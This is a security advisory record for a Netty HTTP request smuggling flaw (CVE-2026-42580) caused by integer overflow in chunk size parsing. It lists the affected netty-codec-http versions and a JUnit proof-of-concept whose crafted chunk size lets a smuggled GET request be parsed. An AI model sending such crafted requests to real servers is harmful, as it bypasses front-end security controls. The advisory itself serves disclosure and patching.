GHSA-m4cv-j2px-7723

Suggest an improvement
Source
https://github.com/advisories/GHSA-m4cv-j2px-7723
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m4cv-j2px-7723/GHSA-m4cv-j2px-7723.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-m4cv-j2px-7723
Aliases
  • CVE-2026-42580
Downstream
Related
Published
2026-05-07T00:13:05Z
Modified
2026-05-14T20:52:01.053039Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L CVSS Calculator
Summary
Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing
Details

Summary

Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

Details

io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16; result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Database specific 
{
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-190",
        "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:13:05Z",
    "nvd_published_at": "2026-05-13T19:17:23Z"
}
References

Affected packages

Maven / io.netty:netty-codec-http

Package

Name
io.netty:netty-codec-http
View open source insights on deps.dev
Purl
pkg:maven/io.netty/netty-codec-http

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.2.0.Alpha1
Fixed
4.2.13.Final

Affected versions

4.*
4.2.0.Alpha1
4.2.0.Alpha2
4.2.0.Alpha3
4.2.0.Alpha4
4.2.0.Alpha5
4.2.0.Beta1
4.2.0.RC1
4.2.0.RC2
4.2.0.RC3
4.2.0.RC4
4.2.0.Final
4.2.1.Final
4.2.2.Final
4.2.3.Final
4.2.4.Final
4.2.5.Final
4.2.6.Final
4.2.7.Final
4.2.8.Final
4.2.9.Final
4.2.10.Final
4.2.11.Final
4.2.12.Final

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m4cv-j2px-7723/GHSA-m4cv-j2px-7723.json"
last_known_affected_version_range 
"<= 4.2.12.Final"

Maven / io.netty:netty-codec-http

Package

Name
io.netty:netty-codec-http
View open source insights on deps.dev
Purl
pkg:maven/io.netty/netty-codec-http

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.1.133.Final

Affected versions

4.*
4.0.0.Alpha1
4.0.0.Alpha2
4.0.0.Alpha3
4.0.0.Alpha4
4.0.0.Alpha5
4.0.0.Alpha6
4.0.0.Alpha7
4.0.0.Alpha8
4.0.0.Beta1
4.0.0.Beta2
4.0.0.Beta3
4.0.0.CR1
4.0.0.CR2
4.0.0.CR3
4.0.0.CR4
4.0.0.CR5
4.0.0.CR6
4.0.0.CR7
4.0.0.CR8
4.0.0.CR9
4.0.0.Final
4.0.1.Final
4.0.2.Final
4.0.3.Final
4.0.4.Final
4.0.5.Final
4.0.6.Final
4.0.7.Final
4.0.8.Final
4.0.9.Final
4.0.10.Final
4.0.11.Final
4.0.12.Final
4.0.13.Final
4.0.14.Beta1
4.0.14.Final
4.0.15.Final
4.0.16.Final
4.0.17.Final
4.0.18.Final
4.0.19.Final
4.0.20.Final
4.0.21.Final
4.0.22.Final
4.0.23.Final
4.0.24.Final
4.0.25.Final
4.0.26.Final
4.0.27.Final
4.0.28.Final
4.0.29.Final
4.0.30.Final
4.0.31.Final
4.0.32.Final
4.0.33.Final
4.0.34.Final
4.0.35.Final
4.0.36.Final
4.0.37.Final
4.0.38.Final
4.0.39.Final
4.0.40.Final
4.0.41.Final
4.0.42.Final
4.0.43.Final
4.0.44.Final
4.0.45.Final
4.0.46.Final
4.0.47.Final
4.0.48.Final
4.0.49.Final
4.0.50.Final
4.0.51.Final
4.0.52.Final
4.0.53.Final
4.0.54.Final
4.0.55.Final
4.0.56.Final
4.1.0.Beta1
4.1.0.Beta2
4.1.0.Beta3
4.1.0.Beta4
4.1.0.Beta5
4.1.0.Beta6
4.1.0.Beta7
4.1.0.Beta8
4.1.0.CR1
4.1.0.CR2
4.1.0.CR3
4.1.0.CR4
4.1.0.CR5
4.1.0.CR6
4.1.0.CR7
4.1.0.Final
4.1.1.Final
4.1.2.Final
4.1.3.Final
4.1.4.Final
4.1.5.Final
4.1.6.Final
4.1.7.Final
4.1.8.Final
4.1.9.Final
4.1.10.Final
4.1.11.Final
4.1.12.Final
4.1.13.Final
4.1.14.Final
4.1.15.Final
4.1.16.Final
4.1.17.Final
4.1.18.Final
4.1.19.Final
4.1.20.Final
4.1.21.Final
4.1.22.Final
4.1.23.Final
4.1.24.Final
4.1.25.Final
4.1.26.Final
4.1.27.Final
4.1.28.Final
4.1.29.Final
4.1.30.Final
4.1.31.Final
4.1.32.Final
4.1.33.Final
4.1.34.Final
4.1.35.Final
4.1.36.Final
4.1.37.Final
4.1.38.Final
4.1.39.Final
4.1.40.Final
4.1.41.Final
4.1.42.Final
4.1.43.Final
4.1.44.Final
4.1.45.Final
4.1.46.Final
4.1.47.Final
4.1.48.Final
4.1.49.Final
4.1.50.Final
4.1.51.Final
4.1.52.Final
4.1.53.Final
4.1.54.Final
4.1.55.Final
4.1.56.Final
4.1.57.Final
4.1.58.Final
4.1.59.Final
4.1.60.Final
4.1.61.Final
4.1.62.Final
4.1.63.Final
4.1.64.Final
4.1.65.Final
4.1.66.Final
4.1.67.Final
4.1.68.Final
4.1.69.Final
4.1.70.Final
4.1.71.Final
4.1.72.Final
4.1.73.Final
4.1.74.Final
4.1.75.Final
4.1.76.Final
4.1.77.Final
4.1.78.Final
4.1.79.Final
4.1.80.Final
4.1.81.Final
4.1.82.Final
4.1.83.Final
4.1.84.Final
4.1.85.Final
4.1.86.Final
4.1.87.Final
4.1.88.Final
4.1.89.Final
4.1.90.Final
4.1.91.Final
4.1.92.Final
4.1.93.Final
4.1.94.Final
4.1.95.Final
4.1.96.Final
4.1.97.Final
4.1.98.Final
4.1.99.Final
4.1.100.Final
4.1.101.Final
4.1.102.Final
4.1.103.Final
4.1.104.Final
4.1.105.Final
4.1.106.Final
4.1.107.Final
4.1.108.Final
4.1.109.Final
4.1.110.Final
4.1.111.Final
4.1.112.Final
4.1.113.Final
4.1.114.Final
4.1.115.Final
4.1.116.Final
4.1.117.Final
4.1.118.Final
4.1.119.Final
4.1.120.Final
4.1.121.Final
4.1.122.Final
4.1.123.Final
4.1.124.Final
4.1.125.Final
4.1.126.Final
4.1.127.Final
4.1.128.Final
4.1.129.Final
4.1.130.Final
4.1.131.Final
4.1.132.Final

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m4cv-j2px-7723/GHSA-m4cv-j2px-7723.json"
last_known_affected_version_range 
"<= 4.1.132.Final"